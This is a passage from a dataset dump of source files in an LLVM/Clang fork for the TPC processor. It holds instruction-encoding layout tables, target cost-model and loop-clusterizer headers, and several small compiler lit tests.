};\n\n enum Fields {\n SPU_OPCODE,\n SPU_SRC_A,\n SPU_SRC_B,\n SPU_DEST,\n SPU_OPERANDS_TYPE,\n SPU_PREDICATE_POLARITY,\n SPU_PREDICATE_ADDRESS,\n SPU_SWITCHES,\n VPU_OPCODE,\n VPU_SRC_A,\n VPU_SRC_B,\n VPU_SRC_C,\n VPU_SRC_D,\n VPU_DEST,\n VPU_SWITCHES,\n VPU_OPERANDS_TYPE,\n VPU_PREDICATE_POLARITY,\n VPU_PREDICATE_ADDRESS,\n LOAD_SRC_A,\n LOAD_SRC_B,\n LOAD_DST,\n LOAD_OPCODE,\n STORE_SRC_A,\n STORE_SRC_B,\n STORE_SRC_C,\n STORE_OPCODE,\n LOAD_STORE_PREDICATE_POLARITY,\n LOAD_STORE_PREDICATE_ADDRESS,\n IMM,\n LOAD_SWITCHES,\n STORE_SWITCHES,\n VPU_SWITCHES_EXTRA\n };\n\n static const std::map<Fields, Field> SPUInstrLayout{\n {SPU_OPCODE, Field(0, 0, 6)},\n {SPU_SRC_A, Field(6, 6, 7)},\n {SPU_SRC_B, Field(13, 13, 7)},\n {SPU_DEST, Field(20, 20, 7)},\n {SPU_OPERANDS_TYPE, Field(27, 27, 4)},\n {SPU_PREDICATE_POLARITY, Field(31, 31, 1)},\n {SPU_PREDICATE_ADDRESS, Field(32, 32, 4)},\n {SPU_SWITCHES, Field(36, 36, 7)}\n };\n static const std::map<Fields, Field> VPUInstrLayout{\n {VPU_OPCODE, Field(43, 0, 6)},\n {VPU_SRC_A, Field(49, 6, 8)},\n {VPU_SRC_B, Field(57, 14, 8)},\n {VPU_SRC_C, Field(65, 22, 8)},\n {VPU_SRC_D, Field(73, 30, 9)},\n {VPU_DEST, Field(82, 39, 8)},\n {VPU_SWITCHES, Field(90, 47, 3)},\n {VPU_OPERANDS_TYPE, Field(93, 50, 4)},\n {VPU_PREDICATE_POLARITY, Field(97, 54, 1)},\n {VPU_PREDICATE_ADDRESS, Field(98, 55, 5)},\n };\n static const std::map<Fields, Field> LDInstrLayout{\n {LOAD_SRC_A, Field(103, 0, 8)},\n {LOAD_SRC_B, Field(73, 48, 9)},\n {LOAD_DST, Field(111, 8, 8)},\n {LOAD_OPCODE, Field(119, 16, 5)},\n {LOAD_STORE_PREDICATE_POLARITY, Field(145, 42, 1)},\n {LOAD_STORE_PREDICATE_ADDRESS, Field(146, 43, 5)},\n {LOAD_SWITCHES, Field(183, 57, 4)},\n };\n static const std::map<Fields, Field> STInstrLayout{\n {STORE_SRC_A, Field(124, 0, 8)},\n {STORE_SRC_B, Field(132, 8, 8)},\n {STORE_SRC_C, Field(65, 27, 8)},\n {STORE_OPCODE, Field(140, 16, 5)},\n {LOAD_STORE_PREDICATE_POLARITY, Field(145, 21, 1)},\n {LOAD_STORE_PREDICATE_ADDRESS, Field(146, 22, 5)},\n {STORE_SWITCHES, Field(187, 35, 4)}\n };\n\n static const std::map<Fields, Field> SPUInstrLayoutGen3{\n {SPU_OPCODE, Field(2, 0, 6)},\n {SPU_SRC_A, Field(8, 6, 7)},\n {SPU_SRC_B, Field(15, 13, 7)},\n {SPU_DEST, Field(22, 20, 7)},\n {SPU_OPERANDS_TYPE, Field(29, 27, 4)},\n {SPU_PREDICATE_POLARITY, Field(33, 31, 1)},\n {SPU_PREDICATE_ADDRESS, Field(34, 32, 4)},\n {SPU_SWITCHES, Field(38, 36, 7)}\n };\n static const std::map<Fields, Field> VPUInstrLayoutGen3{\n {VPU_OPCODE, Field(45, 0, 6)},\n {VPU_SRC_A, Field(51, 6, 8)},\n {VPU_SRC_B, Field(59, 14, 8)},\n {VPU_SRC_C, Field(224, 22, 8)},\n {VPU_SRC_D, Field(232, 30, 9)}, // NB: 8 in PRM but 9 in TD, luckily the extra bit overlaps with reserved area. FIXME ??\n {VPU_DEST, Field(67, 39, 8)},\n {VPU_SWITCHES, Field(85, 47, 3)},\n {VPU_OPERANDS_TYPE, Field(75, 50, 4)},\n {VPU_PREDICATE_POLARITY, Field(79, 54, 1)},\n {VPU_PREDICATE_ADDRESS, Field(80, 55, 5)},\n {VPU_SWITCHES_EXTRA, Field(88, 60, 4)}\n };\n static const std::map<Fields, Field> LDInstrLayoutGen3{\n {LOAD_SRC_A, Field(130, 0, 8)},\n {LOAD_SRC_B, Field(151, 48, 9)},\n {LOAD_DST, Field(138, 8, 8)},\n {LOAD_OPCODE, Field(146, 16, 5)},\n {LOAD_STORE_PREDICATE_POLARITY, Field(160, 42, 1)},\n {LOAD_STORE_PREDICATE_ADDRESS, Field(161, 43, 5)},\n {LOAD_SWITCHES, Field(166, 57, 7)},\n };\n static const std::map<Fields, Field> STInstrLayoutGen3{\n {STORE_SRC_A, Field(173, 0, 8)},\n {STORE_SRC_B, Field(181, 8, 8)},\n {STORE_SRC_C, Field(194, 27, 8)},\n {STORE_OPCODE, Field(189, 16, 5)},\n {LOAD_STORE_PREDICATE_POLARITY, Field(160, 21, 1)},\n {LOAD_STORE_PREDICATE_ADDRESS, Field(161, 22, 5)},\n {STORE_SWITCHES, Field(202, 35, 6)}\n };\n\n static const std::map<Fields, Field> SPUInstrLayoutGen3Compressed{\n {SPU_OPCODE, Field(2, 0, 6)},\n {SPU_SRC_A, Field(8, 6, 7)},\n {SPU_SRC_B, Field(15, 13, 7)},\n {SPU_DEST, Field(22, 20, 7)},\n {SPU_OPERANDS_TYPE, Field(29, 27, 4)},\n {SPU_PREDICATE_POLARITY, Field(33, 31, 1)},\n {SPU_PREDICATE_ADDRESS, Field(34, 32, 4)},\n {SPU_SWITCHES, Field(38, 36, 7)}\n };\n static const std::map<Fields, Field> VPUInstrLayoutGen3Compressed{\n {VPU_OPCODE, Field(45, 0, 6)},\n {VPU_SRC_A, Field(51, 6, 8)},\n {VPU_SRC_B, Field(59, 14, 8)},\n {VPU_DEST, Field(67, 39, 8)},\n {VPU_SWITCHES, Field(85, 47, 3)},\n {VPU_OPERANDS_TYPE, Field(75, 50, 4)},\n {VPU_PREDICATE_POLARITY, Field(79, 54, 1)},\n {VPU_PREDICATE_ADDRESS, Field(80, 55, 5)},\n {VPU_SWITCHES_EXTRA, Field(88, 60, 4)}\n };\n static const std::map<Fields, Field> LDInstrLayoutGen3Compressed{\n {LOAD_SRC_A, Field(2, 0, 8)},\n {LOAD_SRC_B, Field(23, 48, 9)},\n {LOAD_DST, Field(10, 8, 8)},\n {LOAD_OPCODE, Field(18, 16, 5)},\n {LOAD_STORE_PREDICATE_POLARITY, Field(32, 42, 1)},\n {LOAD_STORE_PREDICATE_ADDRESS, Field(33, 43, 5)},\n {LOAD_SWITCHES, Field(38, 57, 7)},\n };\n static const std::map<Fields, Field> STInstrLayoutGen3Compressed{\n {STORE_SRC_A, Field(45, 0, 8)},\n {STORE_SRC_B, Field(53, 8, 8)},\n {STORE_SRC_C, Field(66, 27, 8)},\n {STORE_OPCODE, Field(61, 16, 5)},\n {LOAD_STORE_PREDICATE_POLARITY, Field(32, 21, 1)},\n {LOAD_STORE_PREDICATE_ADDRESS, Field(33, 22, 5)},\n {STORE_SWITCHES, Field(74, 35, 6)}\n };\n\n static const std::map<Fields, Field> STInstrLayoutGen4{\n {STORE_SRC_A, Field(173, 0, 8)},\n {STORE_SRC_B, Field(181, 8, 8)},\n {STORE_SRC_C, Field(194, 27, 8)},\n {STORE_OPCODE, Field(189, 16, 5)},\n {LOAD_STORE_PREDICATE_POLARITY, Field(160, 21, 1)},\n {LOAD_STORE_PREDICATE_ADDRESS, Field(161, 22, 5)},\n {STORE_SWITCHES, Field(202, 35, 7)}\n };\n static const std::map<Fields, Field> STInstrLayoutGen4Compressed{\n {STORE_SRC_A, Field(45, 0, 8)},\n {STORE_SRC_B, Field(53, 8, 8)},\n {STORE_SRC_C, Field(66, 27, 8)},\n {STORE_OPCODE, Field(61, 16, 5)},\n {LOAD_STORE_PREDICATE_POLARITY, Field(32, 21, 1)},\n {LOAD_STORE_PREDICATE_ADDRESS, Field(33, 22, 5)},\n {STORE_SWITCHES, Field(74, 35, 7)}\n };\n\n enum CompressionType {\n SPU_VPU,\n LD_ST\n };\n\n class TPCInstrLayout {\n public:\n static const std::map<Fields, Field> getLDInstrLayout(bool compressed, const FeatureBitset &TPCFeatures) {\n if (TPCFeatures[TPC::FeatureGoya] || TPCFeatures[TPC::FeatureGaudi]) {\n return LDInstrLayout;\n }\n llvm_unreachable(\"Bad TPC Feature\");\n }\n\n static const std::map<Fields, Field> getSTInstrLayout(bool compressed, const FeatureBitset &TPCFeatures) {\n if (TPCFeatures[TPC::FeatureGoya] || TPCFeatures[TPC::FeatureGaudi]) {\n\t return STInstrLayout;\n }\n llvm_unreachable(\"Bad TPC Feature\");\n }\n\n static const std::map<Fields, Field> getVPUInstrLayout(bool compressed, const FeatureBitset &TPCFeatures) {\n if (TPCFeatures[TPC::FeatureGoya] || TPCFeatures[TPC::FeatureGaudi]) {\n\t return VPUInstrLayout;\n }\n llvm_unreachable(\"Bad TPC Feature\");\n }\n\n static const std::map<Fields, Field> getSPUInstrLayout(bool compressed, const FeatureBitset &TPCFeatures) {\n if (TPCFeatures[TPC::FeatureGoya] || TPCFeatures[TPC::FeatureGaudi]) {\n\t return SPUInstrLayout;\n }\n llvm_unreachable(\"Bad TPC Feature\");\n }\n };\n\n}\n#endif //LLVM_TPCINSTRLAYOUT_H\n" }, { "alpha_fraction": 0.4236200153827667, "alphanum_fraction": 0.5340179800987244, "avg_line_length": 37.95000076293945, "blob_id": "783459c4fe513ab85e92887691e9ffede85d226f", "content_id": "b2b264c6c2ad7ef019c3c91f39aca7b4e6b1b655", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 779, "license_type": "permissive", "max_line_length": 103, "num_lines": 20, "path": "/clang/test/RC99/IntrinsicsM/mac/av_i8_mac_v_s_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(int x0, signed char x1, int x3, int dest0, int dest1)\n{\n char256 __local *ptr_x0 = (char256 __local *)x0;\n \n int64 __local *res0 = (int64 __local *)dest0;\n int256 temp_res0 = {0,0,0,0};\n temp_res0 = av_i8_mac_v_s_b(*ptr_x0, 123, temp_res0, 1, x3, 0);\n *res0 = temp_res0.v1;\n \n int64 __local *res1 = (int64 __local *)dest1;\n int256 temp_res1 = {0,0,0,0};\n temp_res1 = av_i8_mac_v_s_b(*ptr_x0, x1, temp_res1, 1, x3, 0);\n *res1 = temp_res1.v1;\n}\n\n// CHECK-ASM: .globl main\n// CHECK-ASM: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n// CHECK-ASM: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S{{[0-9]+}}, %SP{{[0-9]+}}\n" }, { "alpha_fraction": 0.717073917388916, "alphanum_fraction": 0.7194576859474182, "avg_line_length": 38.94643020629883, "blob_id": "ae3a92f4e99d41135b2155b63464deaabed277ca", "content_id": "8b7a74f4dbcfa3b5dc304c35133ef4f44d214b47", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6712, "license_type": "permissive", "max_line_length": 80, "num_lines": 168, "path": "/llvm/lib/Target/TPC/TPCTargetTransformInfo.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCTargetTransformInfo.h - TPC specific TTI -------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n/// \\file\n/// This file contains declaration of a TargetTransformInfo object specific to\n/// the TPC target machine. It should help to tune target-independent passes to\n/// make their job more TPC friendly.\n///\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPCTARGETTRANSFORMINFO_H\n#define LLVM_LIB_TARGET_TPC_TPCTARGETTRANSFORMINFO_H\n\n#include \"TPC.h\"\n#include \"TPCMapCompoundInst.h\"\n#include \"TPCTargetMachine.h\"\n#include \"latencies.h\"\n#include \"llvm/Analysis/TargetTransformInfo.h\"\n#include \"llvm/CodeGen/BasicTTIImpl.h\"\n#include \"llvm/CodeGen/TargetLowering.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include <algorithm>\n\nnamespace llvm {\n\nclass TPCTTIImpl : public BasicTTIImplBase<TPCTTIImpl> {\n\n using VpuSpuSlot = std::pair<uint64_t, uint64_t>;\n typedef std::map<Intrinsic::ID, VpuSpuSlot> IntrinToSlot;\n typedef std::map<int, VpuSpuSlot> InstToSlot;\n\n typedef BasicTTIImplBase<TPCTTIImpl> BaseT;\n typedef TargetTransformInfo TTI;\n friend BaseT;\n\n const TPCSubtarget *ST;\n const TPCTargetLowering *TLI;\n // Maps : Intrinsic/Instruction => <vpu, spu> H/W opcodes\n IntrinToSlot IntrinToSlotMap;\n InstToSlot InstToSlotMap;\n CompoundInstToIntrinsMap CIIMap;\n\npublic:\n explicit TPCTTIImpl(const TPCTargetMachine *TM, const Function &F)\n : BaseT(TM, F.getParent()->getDataLayout()),\n ST(TM->getSubtargetImpl(F)),\n TLI(ST->getTargetLowering()) {\n }\n static const unsigned DEFAULT_LATENCY;\n static const unsigned ZERO_LATENCY;\n\n const TPCSubtarget *getST() const { return ST; }\n const TPCTargetLowering *getTLI() const { return TLI; }\n\n unsigned getNumberOfRegisters(bool Vector) const;\n //unsigned getRegisterBitWidth(bool Vector) const;\n bool isSupportedConstant(const Constant *C) const;\n\n IntrinToSlot &getIntrinToSlotMap() { return IntrinToSlotMap; }\n InstToSlot &getInstToSlotMap() { return InstToSlotMap; }\n CompoundInstToIntrinsMap &getCiiMap() { return CIIMap; }\n\n const IntrinToSlot &getIntrinToSlotMap() const { return IntrinToSlotMap; }\n const InstToSlot &getInstToSlotMap() const { return InstToSlotMap; }\n const CompoundInstToIntrinsMap &getCiiMap() const { return CIIMap; }\n\n int getInstructionLatency(const Instruction *I);\n int getIntrinsicInstrCost(Intrinsic::ID ID, Type *RetTy,\n ArrayRef<Value *> Args, FastMathFlags FMF,\n unsigned VF = 1);\n\n int getIntrinsicInstrCost(Intrinsic::ID ID, Type *RetTy, ArrayRef<Type *> Tys,\n FastMathFlags FMF,\n unsigned ScalarizationCostPassed = UINT_MAX) const {\n\n assert(false && \"TPC does not support costs based purely on Types. Use the \"\n \"variant with Values.\");\n return -1;\n }\n\n static bool getTypeMatrix(const Instruction *I, Type::TypeID Ty[]) {\n Ty[0] = I->getType()->getTypeID();\n if (I->getType()->getTypeID() == Type::VectorTyID) {\n Ty[1] = I->getType()->getVectorElementType()->getTypeID();\n }\n return true;\n }\n\n bool isCompoundInst(const Instruction *I) const {\n return getCiiMap().find(I->getOpcode()) != getCiiMap().end();\n }\n bool extractAndPopulate(\n const Instruction *I,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &SrcIld) const;\n bool extractAndPopulate(\n const Intrinsic::ID ID, Type *RetTy, ArrayRef<Value *> Args,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &inst) const;\n bool extractAndPopulate(\n const IntrinsicInfo,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &inst) const;\n bool populateDestination(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &dest) const;\n unsigned getLatency(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &dest,\n bool DestPresent);\n bool initLatenciesDB(void) const;\n bool initIldMap(void);\n\n bool initBE(void) {\n initIldMap();\n initLatenciesDB();\n return true;\n }\n\n // We get latency by deriving the difference between the source\n // (TPCLatencyEvaluation::e_src_a) and destination\n // (TPCLatencyEvaluation::e_dst) of an instruction A query function (to\n // latencesDB) that basically just does a dest-srcA+1(forward the data). So we\n // only take source ILD to derive the latency.\n //\n // This model is simpler than fashioning a producer and a consumer instruction\n // and provides a reasonable degree of accuracy.\n unsigned\n getLatency(TPCLatencyEvaluation::InstructionForLatencyDetermination &src);\n\n static bool\n getDefaultILD(TPCLatencyEvaluation::InstructionForLatencyDetermination &);\n static bool getFloatInfo(\n const Type::TypeID Input1,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &target);\n\n static bool getVectorScalarInfo(\n Type::TypeID Input,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &target);\n\n // Use Instruction::Opcode or Intrinic::ID to lookup H/W opCodes\n template <class MapType, class KeyType>\n bool\n getOpcodeSlot(KeyType Id, const Type::TypeID Ty,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &Ild,\n const MapType &Map) const;\n static bool getLoadStoreConfig(\n TPCLatencyEvaluation::InstructionForLatencyDetermination &Ild,\n TPCLatencyEvaluation::_IssueSlot Islot,\n TPCLatencyEvaluation::_RegisterFile Rf, uint32_t);\n bool populateDestinationSTSlot(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &dest) const;\n bool populateDestinationLDSlot(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &dest) const;\n bool populateDestinationVPU(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &dest) const;\n bool populateDestinationSPU(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &dest) const;\n};\n}\n#endif\n\n" }, { "alpha_fraction": 0.4637930989265442, "alphanum_fraction": 0.5120689868927002, "avg_line_length": 25.363636016845703, "blob_id": "ff8bfd9d6e1099a909e522236fe20981ff778a9c", "content_id": "348a59f96af5f6e4c4fc751c6c513c9c2ce22681", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 580, "license_type": "permissive", "max_line_length": 75, "num_lines": 22, "path": "/clang/test/RC99/main/main-07.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\n// By default the architecture is dali, which allows 8 tensors.\nvoid main(tensor T0,\n tensor T1,\n tensor T2,\n tensor T3,\n tensor T4,\n tensor T5,\n tensor T6,\n tensor T7,\n tensor T8, // expected-error{{too many tensors are declared}}\n tensor T9,\n tensor T10,\n tensor T11,\n tensor T12,\n tensor T13,\n tensor T14,\n tensor T15,\n tensor T16,\n float f) {\n}\n" }, { "alpha_fraction": 0.4753846228122711, "alphanum_fraction": 0.5400000214576721, "avg_line_length": 39.625, "blob_id": "0f4d126f125f342e1e172b17f9305c7603f81a03", "content_id": "1b3c730a57a14f2c0853f4a91f9138bd104d910d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 650, "license_type": "permissive", "max_line_length": 106, "num_lines": 16, "path": "/clang/test/RC99/Intrinsics/prmt_indx.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(int dest, unsigned x, _Bool p) {\n int5 indx = { 0, 0, 0, 0, 0 };\n int5 result = prmt_indx(indx, x, 0, indx, p, 0);\n *(int __local *)dest = result[0];\n}\n\n// CHECK-DAG: mov %SP[[PRED:[0-9]+]], %S2\n// CHECK-DAG: set_indx %I[[NDX:[0-9]+]], b11111, 0x0, %SP0\n// CHECK: prmt_indx %I[[NDX2:[0-9]+]], %I[[NDX]], %S1, %SP[[PRED]]\n// CHECK: mov_irf_dim 0x0 %S[[VAL:[0-9]+]], %I[[NDX2]], %SP0\n// CHECK: st_l %S0, %S[[VAL]]\n// CHECK: halt\n" }, { "alpha_fraction": 0.5833333134651184, "alphanum_fraction": 0.6388888955116272, "avg_line_length": 29, "blob_id": "37c0ee683b75847d88c4f161b4e238904da91c08", "content_id": "e2f232c2da4add26fb8a224046bdd6beb4fb9f8a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 180, "license_type": "permissive", "max_line_length": 75, "num_lines": 6, "path": "/clang/test/RC99/utils/gen_err-04.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\nint func_01(int x=1);\n\n// CHECK: line 3 error: Default argument of integer parameter 'x' must be 0\n// CHECK: > int func_01(int x=1);\n" }, { "alpha_fraction": 0.6140977740287781, "alphanum_fraction": 0.6149556636810303, "avg_line_length": 40.38787841796875, "blob_id": "e6cea8543dae1f349a3ad486ee472052ee7ecca0", "content_id": "4dfbb8e80869243252b2ff4309f79ccdff8364e4", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6994, "license_type": "permissive", "max_line_length": 80, "num_lines": 165, "path": "/llvm/lib/Transforms/Scalar/TPCIterationClusterizer.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-TPCIterationClusterizer.h : Clusteriztion for TPC Innermost Loops --====//\r\n//\r\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\r\n// See https://llvm.org/LICENSE.txt for license information.\r\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\r\n//\r\n//===----------------------------------------------------------------------===//\r\n//\r\n//\r\n//===----------------------------------------------------------------------===//\r\n\r\n#ifndef LLVM_TRANSFORM_SCALAR_TPC_ITER_CLUSTERIZER_H\r\n#define LLVM_TRANSFORM_SCALAR_TPC_ITER_CLUSTERIZER_H\r\n\r\n#include \"TPCOptUtils.h\"\r\n#include \"llvm/Analysis/IVDescriptors.h\"\r\n\r\nnamespace llvm {\r\n\r\n#define DEBUG_TYPE \"clusterizer\"\r\n\r\n#define CLUSTER_INFO_DEBUG(x) \\\r\n LLVM_DEBUG(dbgs() << \"[Clusterizer] \" << x << \"\\n\");\r\n\r\nstruct ClusterInfo {\r\n InstructionVecType HeaderLoadInstsVec;\r\n InstructionVecType HeaderStoreInstsVec;\r\n InstructionVecType HeaderAccumInstsVec;\r\n InstructionVecType HeaderComputeInstsVec;\r\n};\r\n\r\nusing ClusterInfoVecType = SmallVector<ClusterInfo *, 4>;\r\n\r\nclass IterationClusterizer {\r\npublic:\r\n IterationClusterizer(Loop *WorkingLoop, ScalarEvolution *SE,\r\n bool PopulateIfMultiCluster = false,\r\n bool SkipIfZeroLoadTensors = false,\r\n bool ShouldDetectPipelinedLoads = false);\r\n\r\n unsigned getNumClusters() { return NumClusters; }\r\n\r\n bool getIsAccumulationLoop() { return IsAccumulationLoop; }\r\n\r\n // This function classifies the HeaderBlock instructions as load / store /\r\n // compute / accum instructions, and creates a vector of clusters\r\n // representing the atomic iterations of the loop block\r\n bool classifyAndClusterize(ClusterInfoVecType &LoopClusters,\r\n InstructionVecType &HeaderStoreList,\r\n InstructionVecType &HeaderLoadList,\r\n InstructionSetType &UnclusteredInstructions,\r\n InstructionSetType &AccumPhis,\r\n InstInstMapType &AccumToPhiMap);\r\n // Same as above, with fewer parameters\r\n bool classifyAndClusterize(ClusterInfoVecType &LoopClusters);\r\n\r\n // follow use-def chain of store instruction to mark all instructions with\r\n // the final cluster idx they belong to\r\n bool markClustersForInsts(InstNumMapType &InstBBNumMap,\r\n InstructionVecType &OutInstList,\r\n InstInstMapType &AccumPhiMap,\r\n InstructionSetType &UnclusteredInstructions,\r\n std::string Indent = \"\");\r\n\r\n // populate the ClusterInfo vector using the information in the\r\n // Inst->ClusterIdx mapping\r\n void populateClusterInfo(InstNumMapType &InstBBNumMap,\r\n InstructionVecType &OutInstList,\r\n ClusterInfoVecType &LoopClusters);\r\n\r\n // classify Instructions as Load, Store, Compute and Accumulator Instructions\r\n bool classifyInstructions(InstructionVecType &HeaderStoreList,\r\n InstructionVecType &HeaderLoadList,\r\n InstructionVecType &HeaderAccumList,\r\n InstructionSetType &UnclusteredInstructions,\r\n InstNumMapType &InstBBNumMap,\r\n InstructionSetType &AccumPhis,\r\n InstInstMapType &AccumToPhiMap,\r\n std::string DebugTag = \"\");\r\n\r\n // collect cluster information, create Inst -> ClusterIdx mapping and\r\n // populate ClusterInfo vector\r\n bool clusterInstructions(\r\n InstructionVecType &HeaderStoreList, InstructionVecType &HeaderLoadList,\r\n InstructionVecType &HeaderAccumList,\r\n InstructionSetType &UnclusteredInstructions, InstNumMapType &InstBBNumMap,\r\n InstructionSetType &AccumPhis, InstInstMapType &AccumToPhiMap,\r\n ClusterInfoVecType &LoopClusters, std::string DebugTag = \"\");\r\n\r\n // print cluster debug info\r\n static void dumpClusterInfo(ClusterInfoVecType &LoopClusters,\r\n InstructionSetType &UnclusteredInstructions) {\r\n LLVM_DEBUG(\r\n CLUSTER_INFO_DEBUG(\"\\n====\\nInstructions not in any cluster :\\n====\"); {\r\n for (auto It : UnclusteredInstructions)\r\n CLUSTER_INFO_DEBUG(*It)\r\n }\r\n\r\n CLUSTER_INFO_DEBUG(\"\\n====\\nClusters :\\n====\");\r\n {\r\n for (unsigned i = 0; i < LoopClusters.size(); i++) {\r\n CLUSTER_INFO_DEBUG(\"#\" << i)\r\n CLUSTER_INFO_DEBUG(\"---- Accumulators ----\")\r\n for (auto OutInst : LoopClusters[i]->HeaderAccumInstsVec)\r\n CLUSTER_INFO_DEBUG(*OutInst)\r\n CLUSTER_INFO_DEBUG(\"---- Stores ----\")\r\n for (auto OutInst : LoopClusters[i]->HeaderStoreInstsVec)\r\n CLUSTER_INFO_DEBUG(*OutInst)\r\n CLUSTER_INFO_DEBUG(\"---- Loads ----\")\r\n for (auto LoadInst : LoopClusters[i]->HeaderLoadInstsVec)\r\n CLUSTER_INFO_DEBUG(*LoadInst)\r\n CLUSTER_INFO_DEBUG(\"---- Computes ----\")\r\n for (auto ComputeInst : LoopClusters[i]->HeaderComputeInstsVec)\r\n CLUSTER_INFO_DEBUG(*ComputeInst)\r\n }\r\n } CLUSTER_INFO_DEBUG(\"====\"););\r\n\r\n return;\r\n }\r\n\r\nprivate:\r\n // collect all Accumulator Phis\r\n void collectAccumulatorPhis(InstructionSetType &AccumPhis,\r\n InstInstMapType &AccumToPhiMap,\r\n std::string DebugTag = \"\\t\");\r\n\r\n // Scan the loop instructions that are users of Accumulator Phis and mark all\r\n // the Accumulator Insts\r\n bool markAccumulatorInsts(InstructionVecType &HeaderAccumList,\r\n InstructionSetType &AccumPhis,\r\n InstInstMapType &AccumToPhiMap,\r\n std::string DebugTag = \"\");\r\n\r\n // recursively follow the use-def chain of given Instruction\r\n // terminate on coords phis and add mask instructions\r\n // if the def Instruction is newly discovered, include it to the cluster\r\n // else, merge the cluster of the def with that of the given Instruction\r\n bool recursivelyMarkClusters(Instruction *I, unsigned ClusterIdx,\r\n InstInstMapType &AccumPhiMap,\r\n InstructionSetType &UnclusteredInstructions,\r\n UnionFind &ClusterUF, std::string Indent = \"\");\r\n\r\n Loop *WorkingLoop;\r\n BasicBlock *HeaderBlock;\r\n BasicBlock *PreheaderBlock;\r\n InductionDescriptor InductionDesc;\r\n ScalarEvolution *SE;\r\n\r\n bool PopulateIfMultiCluster;\r\n bool SkipIfZeroLoadTensors;\r\n bool ShouldDetectPipelinedLoads;\r\n unsigned NumClusters;\r\n bool IsAccumulationLoop;\r\n\r\n InstructionSetType HeaderLoadInstsSet;\r\n InstructionSetType HeaderComputeInstsSet;\r\n InstNumMapType InstClusterMap;\r\n UFNodeMapType ClusterRootMap;\r\n};\r\n\r\n#undef DEBUG_TYPE\r\n\r\n} // end namespace llvm\r\n\r\n#endif\r\n" }, { "alpha_fraction": 0.3758573532104492, "alphanum_fraction": 0.5061728358268738, "avg_line_length": 19.828571319580078, "blob_id": "19a418a19ffce7a09a91b4160acd13dee216e93e", "content_id": "617e0eae0c5e5d6d74bbf46c77b55cac3b349af8", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 729, "license_type": "permissive", "max_line_length": 85, "num_lines": 35, "path": "/clang/test/RC99/restrictions/irf44-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -long-irf -verify %s\n// expected-no-diagnostics\n\nvoid main(int x) {\n int5 ndx1, ndx2;\n\n ndx1[0] = 0;\n ndx1[0] = 22;\n ndx1[1] = ndx2[1];\n ndx1[1] = ndx2[1] + 1;\n ndx1[3] = ndx1[3] - ndx2[3];\n\n ndx1[0]++;\n ndx1[1]--;\n ++ndx1[2];\n --ndx1[3];\n\n ndx1[2] += 44;\n ndx1[2] -= 44;\n ndx1[2] *= 44;\n ndx1[2] += ndx2[2];\n ndx1[2] += (ndx2[2] + 4);\n\n _Bool res;\n res = ndx1[2] == ndx2[2];\n res = ndx1[2] != ndx2[2];\n res = ndx1[2] <= ndx2[2];\n res = ndx1[2] >= ndx2[2];\n res = ndx1[2] < 